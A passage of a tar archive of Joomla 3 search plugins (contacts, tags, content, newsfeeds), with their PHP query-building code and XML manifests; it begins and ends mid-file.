				'(a.name LIKE ' . $text . ' OR a.misc LIKE ' . $text . ' OR a.con_position LIKE ' . $text
					. ' OR a.address LIKE ' . $text . ' OR a.suburb LIKE ' . $text . ' OR a.state LIKE ' . $text
					. ' OR a.country LIKE ' . $text . ' OR a.postcode LIKE ' . $text . ' OR a.telephone LIKE ' . $text
					. ' OR a.fax LIKE ' . $text . ') AND a.published IN (' . implode(',', $state) . ') AND c.published=1 '
					. ' AND a.access IN (' . $groups . ') AND c.access IN (' . $groups . ')'
			)
			->order($order);

		// Filter by language.
		if ($app->isClient('site') && JLanguageMultilang::isEnabled())
		{
			$tag = JFactory::getLanguage()->getTag();
			$query->where('a.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')')
				->where('c.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')');
		}

		$db->setQuery($query, 0, $limit);

		try
		{
			$rows = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$rows = array();
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		if ($rows)
		{
			foreach ($rows as $key => $row)
			{
				$rows[$key]->href  = ContactHelperRoute::getContactRoute($row->slug, $row->catslug);
				$rows[$key]->text  = $row->title;
				$rows[$key]->text .= $row->con_position ? ', ' . $row->con_position : '';
				$rows[$key]->text .= $row->misc ? ', ' . $row->misc : '';
			}
		}

		return $rows;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                         search/contacts/contacts.xml                                                                        0000705                 00000003322 15242051521 0012162 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search" method="upgrade">
	<name>plg_search_contacts</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEARCH_CONTACTS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contacts">contacts.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_search_contacts.ini</language>
		<language tag="en-GB">en-GB.plg_search_contacts.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="search_limit"
					type="number"
					label="JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL"
					description="JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC"
					default="50"
					filter="integer"
					size="5"
				/>

				<field
					name="search_content"
					type="radio"
					label="JFIELD_PLG_SEARCH_ALL_LABEL"
					description="JFIELD_PLG_SEARCH_ALL_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="search_archived"
					type="radio"
					label="JFIELD_PLG_SEARCH_ARCHIVED_LABEL"
					description="JFIELD_PLG_SEARCH_ARCHIVED_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                              search/contacts/index.html                                                                          0000705                 00000000037 15242051521 0011617 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 search/tags/index.html                                                                              0000705                 00000000034 15242051521 0010734 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><html></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    search/tags/tags.php                                                                                0000705                 00000013342 15242051521 0010414 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Search.tags
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Tags search plugin.
 *
 * @since  3.3
 */
class PlgSearchTags extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.3
	 */
	protected $autoloadLanguage = true;

	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 * @since   3.3
	 */
	public function onContentSearchAreas()
	{
		static $areas = array(
			'tags' => 'PLG_SEARCH_TAGS_TAGS'
		);

		return $areas;
	}

	/**
	 * Search content (tags).
	 *
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   string  $areas     An array if the search is to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 * @since   3.3
	 */
	public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true);
		$app   = JFactory::getApplication();
		$user  = JFactory::getUser();
		$lang  = JFactory::getLanguage();

		$section = JText::_('PLG_SEARCH_TAGS_TAGS');
		$limit   = $this->params->def('search_limit', 50);

		if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas())))
		{
			return array();
		}

		$text = trim($text);

		if ($text === '')
		{
			return array();
		}

		$text = $db->quote('%' . $db->escape($text, true) . '%', false);

		switch ($ordering)
		{
			case 'alpha':
				$order = 'a.title ASC';
				break;

			case 'newest':
				$order = 'a.created_time DESC';
				break;

			case 'oldest':
				$order = 'a.created_time ASC';
				break;

			case 'popular':
			default:
				$order = 'a.title DESC';
		}

		$query->select('a.id, a.title, a.alias, a.note, a.published, a.access'
			. ', a.checked_out, a.checked_out_time, a.created_user_id'
			. ', a.path, a.parent_id, a.level, a.lft, a.rgt'
			. ', a.language, a.created_time AS created, a.description');

		$case_when_item_alias  = ' CASE WHEN ';
		$case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
		$case_when_item_alias .= ' THEN ';
		$a_id                  = $query->castAsChar('a.id');
		$case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when_item_alias .= ' ELSE ';
		$case_when_item_alias .= $a_id . ' END as slug';
		$query->select($case_when_item_alias);

		$query->from('#__tags AS a');
		$query->where('a.alias <> ' . $db->quote('root'));

		$query->where('(a.title LIKE ' . $text . ' OR a.alias LIKE ' . $text . ')');

		$query->where($db->qn('a.published') . ' = 1');

		if (!$user->authorise('core.admin'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ')');
		}

		if ($app->isClient('site') && JLanguageMultilang::isEnabled())
		{
			$tag = JFactory::getLanguage()->getTag();
			$query->where('a.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')');
		}

		$query->order($order);

		$db->setQuery($query, 0, $limit);

		try
		{
			$rows = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$rows = array();
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		if ($rows)
		{
			JLoader::register('TagsHelperRoute', JPATH_SITE . '/components/com_tags/helpers/route.php');

			foreach ($rows as $key => $row)
			{
				$rows[$key]->href       = TagsHelperRoute::getTagRoute($row->slug);
				$rows[$key]->text       = ($row->description !== '' ? $row->description : $row->title);
				$rows[$key]->text      .= $row->note;
				$rows[$key]->section    = $section;
				$rows[$key]->created    = $row->created;
				$rows[$key]->browsernav = 0;
			}
		}

		if (!$this->params->get('show_tagged_items', 0))
		{
			return $rows;
		}
		else
		{
			$final_items = $rows;
			JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_tags/models');
			$tag_model = JModelLegacy::getInstance('Tag', 'TagsModel');
			$tag_model->getState();

			foreach ($rows as $key => $row)
			{
				$tag_model->setState('tag.id', $row->id);
				$tagged_items = $tag_model->getItems();

				if ($tagged_items)
				{
					foreach ($tagged_items as $k => $item)
					{
						// For 3rd party extensions we need to load the component strings from its sys.ini file
						$parts = explode('.', $item->type_alias);
						$comp = array_shift($parts);
						$lang->load($comp, JPATH_SITE, null, false, true)
						|| $lang->load($comp, JPATH_SITE . '/components/' . $comp, null, false, true);

						// Making up the type string
						$type = implode('_', $parts);
						$type = $comp . '_CONTENT_TYPE_' . $type;

						$new_item        = new stdClass;
						$new_item->href  = $item->link;
						$new_item->title = $item->core_title;
						$new_item->text  = $item->core_body;

						if ($lang->hasKey($type))
						{
							$new_item->section = JText::sprintf('PLG_SEARCH_TAGS_ITEM_TAGGED_WITH', JText::_($type), $row->title);
						}
						else
						{
							$new_item->section = JText::sprintf('PLG_SEARCH_TAGS_ITEM_TAGGED_WITH', $item->content_type_title, $row->title);
						}

						$new_item->created    = $item->displayDate;
						$new_item->browsernav = 0;
						$final_items[]        = $new_item;
					}
				}
			}

			return $final_items;
		}
	}
}
                                                                                                                                                                                                                                                                                              search/tags/tags.xml                                                                                0000705                 00000002630 15242051521 0010423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search" method="upgrade">
	<name>plg_search_tags</name>
	<author>Joomla! Project</author>
	<creationDate>March 2014</creationDate>
	<copyright>(C) 2014 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEARCH_TAGS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="tags">tags.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_search_tags.ini</language>
		<language tag="en-GB">en-GB.plg_search_tags.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="search_limit"
					type="number"
					label="JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL"
					description="JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC"
					default="50"
					filter="integer"
					size="5"
				/>

				<field
					name="show_tagged_items"
					type="radio"
					label="PLG_SEARCH_TAGS_FIELD_SHOW_TAGGED_ITEMS_LABEL"
					description="PLG_SEARCH_TAGS_FIELD_SHOW_TAGGED_ITEMS_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                        search/content/index.html                                                                           0000705                 00000000037 15242051521 0011453 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 search/content/content.xml                                                                          0000705                 00000003377 15242051521 0011664 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search" method="upgrade">
	<name>plg_search_content</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEARCH_CONTENT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="content">content.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_search_content.ini</language>
		<language tag="en-GB">en-GB.plg_search_content.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="search_limit"
					type="number"
					label="PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_LABEL"
					description="PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_DESC"
					default="50"
					filter="integer"
					size="5"
				/>

				<field
					name="search_content"
					type="radio"
					label="PLG_SEARCH_CONTENT_FIELD_CONTENT_LABEL"
					description="PLG_SEARCH_CONTENT_FIELD_CONTENT_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="search_archived"
					type="radio"
					label="PLG_SEARCH_CONTENT_FIELD_ARCHIVED_LABEL"
					description="PLG_SEARCH_CONTENT_FIELD_ARCHIVED_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>

		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                 search/content/content.php                                                                          0000705                 00000032177 15242051521 0011653 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Search.content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Content search plugin.
 *
 * @since  1.6
 */
class PlgSearchContent extends JPlugin
{
	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 * @since   1.6
	 */
	public function onContentSearchAreas()
	{
		static $areas = array(
			'content' => 'JGLOBAL_ARTICLES'
		);

		return $areas;
	}

	/**
	 * Search content (articles).
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   mixed   $areas     An array if the search it to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 * @since   1.6
	 */
	public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
	{
		$db         = JFactory::getDbo();
		$serverType = $db->getServerType();
		$app        = JFactory::getApplication();
		$user       = JFactory::getUser();
		$groups     = implode(',', $user->getAuthorisedViewLevels());
		$tag        = JFactory::getLanguage()->getTag();

		JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');
		JLoader::register('SearchHelper', JPATH_ADMINISTRATOR . '/components/com_search/helpers/search.php');

		$searchText = $text;

		if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas())))
		{
			return array();
		}

		$sContent  = $this->params->get('search_content', 1);
		$sArchived = $this->params->get('search_archived', 1);
		$limit     = $this->params->def('search_limit', 50);

		$nullDate  = $db->getNullDate();
		$date      = JFactory::getDate();
		$now       = $date->toSql();

		$text = trim($text);

		if ($text === '')
		{
			return array();
		}

		switch ($phrase)
		{
			case 'exact':
				$text      = $db->quote('%' . $db->escape($text, true) . '%', false);
				$wheres2   = array();
				$wheres2[] = 'a.title LIKE ' . $text;
				$wheres2[] = 'a.introtext LIKE ' . $text;
				$wheres2[] = 'a.fulltext LIKE ' . $text;
				$wheres2[] = 'a.metakey LIKE ' . $text;
				$wheres2[] = 'a.metadesc LIKE ' . $text;

				$relevance[] = ' CASE WHEN ' . $wheres2[0] . ' THEN 5 ELSE 0 END ';

				// Join over Fields.
				$subQuery = $db->getQuery(true);
				$subQuery->select("cfv.item_id")
					->from("#__fields_values AS cfv")
					->join('LEFT', '#__fields AS f ON f.id = cfv.field_id')
					->where('(f.context IS NULL OR f.context = ' . $db->q('com_content.article') . ')')
					->where('(f.state IS NULL OR f.state = 1)')
					->where('(f.access IS NULL OR f.access IN (' . $groups . '))')
					->where('cfv.value LIKE ' . $text);

				// Filter by language.
				if ($app->isClient('site') && JLanguageMultilang::isEnabled())
				{
					$subQuery->where('(f.language IS NULL OR f.language in (' . $db->quote($tag) . ',' . $db->quote('*') . '))');
				}

				if ($serverType == "mysql")
				{
					/* This generates a dependent sub-query so do no use in MySQL prior to version 6.0 !
					* $wheres2[] = 'a.id IN( '. (string) $subQuery.')';
					*/

					$db->setQuery($subQuery);
					$fieldids = $db->loadColumn();

					if (count($fieldids))
					{
						$wheres2[] = 'a.id IN(' . implode(",", $fieldids) . ')';
					}
				}
				else
				{
					$wheres2[] = $subQuery->castAsChar('a.id') . ' IN( ' . (string) $subQuery . ')';
				}

				$where = '(' . implode(') OR (', $wheres2) . ')';
				break;

			case 'all':
			case 'any':
			default:
				$words = explode(' ', $text);
				$wheres = array();
				$cfwhere = array();

				foreach ($words as $word)
				{
					$word      = $db->quote('%' . $db->escape($word, true) . '%', false);
					$wheres2   = array();
					$wheres2[] = 'LOWER(a.title) LIKE LOWER(' . $word . ')';
					$wheres2[] = 'LOWER(a.introtext) LIKE LOWER(' . $word . ')';
					$wheres2[] = 'LOWER(a.fulltext) LIKE LOWER(' . $word . ')';
					$wheres2[] = 'LOWER(a.metakey) LIKE LOWER(' . $word . ')';
					$wheres2[] = 'LOWER(a.metadesc) LIKE LOWER(' . $word . ')';

					$relevance[] = ' CASE WHEN ' . $wheres2[0] . ' THEN 5 ELSE 0 END ';

					if ($phrase === 'all')
					{
						// Join over Fields.
						$subQuery = $db->getQuery(true);
						$subQuery->select("cfv.item_id")
							->from("#__fields_values AS cfv")
							->join('LEFT', '#__fields AS f ON f.id = cfv.field_id')
							->where('(f.context IS NULL OR f.context = ' . $db->q('com_content.article') . ')')
							->where('(f.state IS NULL OR f.state = 1)')
							->where('(f.access IS NULL OR f.access IN (' . $groups . '))')
							->where('LOWER(cfv.value) LIKE LOWER(' . $word . ')');

						// Filter by language.
						if ($app->isClient('site') && JLanguageMultilang::isEnabled())
						{
							$subQuery->where('(f.language IS NULL OR f.language in (' . $db->quote($tag) . ',' . $db->quote('*') . '))');
						}

						if ($serverType == "mysql")
						{
							$db->setQuery($subQuery);
							$fieldids = $db->loadColumn();

							if (count($fieldids))
							{
								$wheres2[] = 'a.id IN(' . implode(",", $fieldids) . ')';
							}
						}
						else
						{
							$wheres2[] = $subQuery->castAsChar('a.id') . ' IN( ' . (string) $subQuery . ')';
						}
					}
					else
					{
						$cfwhere[] = 'LOWER(cfv.value) LIKE LOWER(' . $word . ')';
					}

					$wheres[] = implode(' OR ', $wheres2);
				}

				if ($phrase === 'any')
				{
					// Join over Fields.
					$subQuery = $db->getQuery(true);
					$subQuery->select("cfv.item_id")
						->from("#__fields_values AS cfv")
						->join('LEFT', '#__fields AS f ON f.id = cfv.field_id')
						->where('(f.context IS NULL OR f.context = ' . $db->q('com_content.article') . ')')
						->where('(f.state IS NULL OR f.state = 1)')
						->where('(f.access IS NULL OR f.access IN (' . $groups . '))')
						->where('(' . implode(($phrase === 'all' ? ') AND (' : ') OR ('), $cfwhere) . ')');

					// Filter by language.
					if ($app->isClient('site') && JLanguageMultilang::isEnabled())
					{
						$subQuery->where('(f.language IS NULL OR f.language in (' . $db->quote($tag) . ',' . $db->quote('*') . '))');
					}

					if ($serverType == "mysql")
					{
						$db->setQuery($subQuery);
						$fieldids = $db->loadColumn();

						if (count($fieldids))
						{
							$wheres[] = 'a.id IN(' . implode(",", $fieldids) . ')';
						}
					}
					else
					{
						$wheres[] = $subQuery->castAsChar('a.id') . ' IN( ' . (string) $subQuery . ')';
					}
				}

				$where = '(' . implode(($phrase === 'all' ? ') AND (' : ') OR ('), $wheres) . ')';
				break;
		}

		switch ($ordering)
		{
			case 'oldest':
				$order = 'a.created ASC';
				break;

			case 'popular':
				$order = 'a.hits DESC';
				break;

			case 'alpha':
				$order = 'a.title ASC';
				break;

			case 'category':
				$order = 'c.title ASC, a.title ASC';
				break;

			case 'newest':
			default:
				$order = 'a.created DESC';
				break;
		}

		$rows = array();
		$query = $db->getQuery(true);

		// Search articles.
		if ($sContent && $limit > 0)
		{
			$query->clear();

			// SQLSRV changes.
			$case_when  = ' CASE WHEN ';
			$case_when .= $query->charLength('a.alias', '!=', '0');
			$case_when .= ' THEN ';
			$a_id       = $query->castAsChar('a.id');
			$case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
			$case_when .= ' ELSE ';
			$case_when .= $a_id . ' END as slug';

			$case_when1  = ' CASE WHEN ';
			$case_when1 .= $query->charLength('c.alias', '!=', '0');
			$case_when1 .= ' THEN ';
			$c_id        = $query->castAsChar('c.id');
			$case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':');
			$case_when1 .= ' ELSE ';
			$case_when1 .= $c_id . ' END as catslug';

			if (!empty($relevance))
			{
				$query->select(implode(' + ', $relevance) . ' AS relevance');
				$order = ' relevance DESC, ' . $order;
			}

			$query->select('a.title AS title, a.metadesc, a.metakey, a.created AS created, a.language, a.catid')
				->select($query->concatenate(array('a.introtext', 'a.fulltext')) . ' AS text')
				->select('c.title AS section, ' . $case_when . ',' . $case_when1 . ', ' . '\'2\' AS browsernav')
				->from('#__content AS a')
				->join('INNER', '#__categories AS c ON c.id=a.catid')
				->where(
					'(' . $where . ') AND a.state=1 AND c.published = 1 AND a.access IN (' . $groups . ') '
						. 'AND c.access IN (' . $groups . ')'
						. 'AND (a.publish_up = ' . $db->quote($nullDate) . ' OR a.publish_up <= ' . $db->quote($now) . ') '
						. 'AND (a.publish_down = ' . $db->quote($nullDate) . ' OR a.publish_down >= ' . $db->quote($now) . ')'
				)
				->group('a.id, a.title, a.metadesc, a.metakey, a.created, a.language, a.catid, a.introtext, a.fulltext, c.title, a.alias, c.alias, c.id')
				->order($order);

			// Filter by language.
			if ($app->isClient('site') && JLanguageMultilang::isEnabled())
			{
				$query->where('a.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')')
					->where('c.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')');
			}

			$db->setQuery($query, 0, $limit);

			try
			{
				$list = $db->loadObjectList();
			}
			catch (RuntimeException $e)
			{
				$list = array();
				JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
			}

			$limit -= count($list);

			if (isset($list))
			{
				foreach ($list as $key => $item)
				{
					$list[$key]->href = ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language);
				}
			}

			$rows[] = $list;
		}

		// Search archived content.
		if ($sArchived && $limit > 0)
		{
			$query->clear();

			// SQLSRV changes.
			$case_when  = ' CASE WHEN ';
			$case_when .= $query->charLength('a.alias', '!=', '0');
			$case_when .= ' THEN ';
			$a_id       = $query->castAsChar('a.id');
			$case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
			$case_when .= ' ELSE ';
			$case_when .= $a_id . ' END as slug';

			$case_when1  = ' CASE WHEN ';
			$case_when1 .= $query->charLength('c.alias', '!=', '0');
			$case_when1 .= ' THEN ';
			$c_id        = $query->castAsChar('c.id');
			$case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':');
			$case_when1 .= ' ELSE ';
			$case_when1 .= $c_id . ' END as catslug';

			if (!empty($relevance))
			{
				$query->select(implode(' + ', $relevance) . ' AS relevance');
				$order = ' relevance DESC, ' . $order;
			}

			$query->select('a.title AS title, a.metadesc, a.metakey, a.created AS created, a.language, a.catid')
				->select($query->concatenate(array('a.introtext', 'a.fulltext')) . ' AS text')
				->select('c.title AS section, ' . $case_when . ',' . $case_when1 . ', ' . '\'2\' AS browsernav')
				->from('#__content AS a')
				->join('INNER', '#__categories AS c ON c.id=a.catid AND c.access IN (' . $groups . ')')
				->where(
					'(' . $where . ') AND a.state = 2 AND c.published = 1 AND a.access IN (' . $groups
						. ') AND c.access IN (' . $groups . ') '
						. 'AND (a.publish_up = ' . $db->quote($nullDate) . ' OR a.publish_up <= ' . $db->quote($now) . ') '
						. 'AND (a.publish_down = ' . $db->quote($nullDate) . ' OR a.publish_down >= ' . $db->quote($now) . ')'
				)
				->order($order);

			// Join over Fields is no longer needed

			// Filter by language.
			if ($app->isClient('site') && JLanguageMultilang::isEnabled())
			{
				$query->where('a.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')')
					->where('c.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')');
			}

			$db->setQuery($query, 0, $limit);

			try
			{
				$list3 = $db->loadObjectList();
			}
			catch (RuntimeException $e)
			{
				$list3 = array();
				JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
			}

			if (isset($list3))
			{
				foreach ($list3 as $key => $item)
				{
					$list3[$key]->href = ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language);
				}
			}

			$rows[] = $list3;
		}

		$results = array();

		if (count($rows))
		{
			foreach ($rows as $row)
			{
				$new_row = array();

				foreach ($row as $article)
				{
					// Not efficient to get these ONE article at a TIME
					// Lookup field values so they can be checked, GROUP_CONCAT would work in above queries, but isn't supported by non-MySQL DBs.
					$query = $db->getQuery(true);
					$query->select('fv.value')
						->from('#__fields_values as fv')
						->join('left', '#__fields as f on fv.field_id = f.id')
						->where('f.context = ' . $db->quote('com_content.article'))
						->where('fv.item_id = ' . $db->quote((int) $article->slug));
					$db->setQuery($query);
					$article->jcfields = implode(',', $db->loadColumn());

					if (SearchHelper::checkNoHtml($article, $searchText, array('text', 'title', 'jcfields', 'metadesc', 'metakey')))
					{
						$new_row[] = $article;
					}
				}

				$results = array_merge($results, (array) $new_row);
			}
		}

		return $results;
	}

}
                                                                                                                                                                                                                                                                                                                                                                                                 search/newsfeeds/index.html                                                                         0000705                 00000000037 15242051521 0011764 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 search/newsfeeds/newsfeeds.xml                                                                      0000705                 00000003330 15242051521 0012473 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search" method="upgrade">
	<name>plg_search_newsfeeds</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="newsfeeds">newsfeeds.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_search_newsfeeds.ini</language>
		<language tag="en-GB">en-GB.plg_search_newsfeeds.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="search_limit"
					type="number"
					label="JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL"
					description="JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC"
					default="50"
					filter="integer"
					size="5"
				/>

				<field
					name="search_content"
					type="radio"
					label="JFIELD_PLG_SEARCH_ALL_LABEL"
					description="JFIELD_PLG_SEARCH_ALL_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="search_archived"
					type="radio"
					label="JFIELD_PLG_SEARCH_ARCHIVED_LABEL"
					description="JFIELD_PLG_SEARCH_ARCHIVED_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                        search/newsfeeds/newsfeeds.php                                                                      0000705                 00000012022 15242051521 0012460 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Search.newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Newsfeeds search plugin.
 *
 * @since  1.6
 */
class PlgSearchNewsfeeds extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 * @since   1.6
	 */
	public function onContentSearchAreas()
	{
		static $areas = array(
			'newsfeeds' => 'PLG_SEARCH_NEWSFEEDS_NEWSFEEDS'
		);

		return $areas;
	}

	/**
	 * Search content (newsfeeds).
	 *
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   mixed   $areas     An array if the search it to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 * @since   1.6
	 */
	public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
	{
		$db = JFactory::getDbo();
		$app = JFactory::getApplication();
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas())))
		{
			return array();
		}

		$sContent = $this->params->get('search_content', 1);
		$sArchived = $this->params->get('search_archived', 1);
		$limit = $this->params->def('search_limit', 50);
		$state = array();

		if ($sContent)
		{
			$state[] = 1;
		}

		if ($sArchived)
		{
			$state[] = 2;
		}

		if (empty($state))
		{
			return array();
		}

		$text = trim($text);

		if ($text === '')
		{
			return array();
		}

		switch ($phrase)
		{
			case 'exact':
				$text = $db->quote('%' . $db->escape($text, true) . '%', false);
				$wheres2 = array();
				$wheres2[] = 'a.name LIKE ' . $text;
				$wheres2[] = 'a.link LIKE ' . $text;
				$where = '(' . implode(') OR (', $wheres2) . ')';
				break;

			case 'all':
			case 'any':
			default:
				$words = explode(' ', $text);
				$wheres = array();

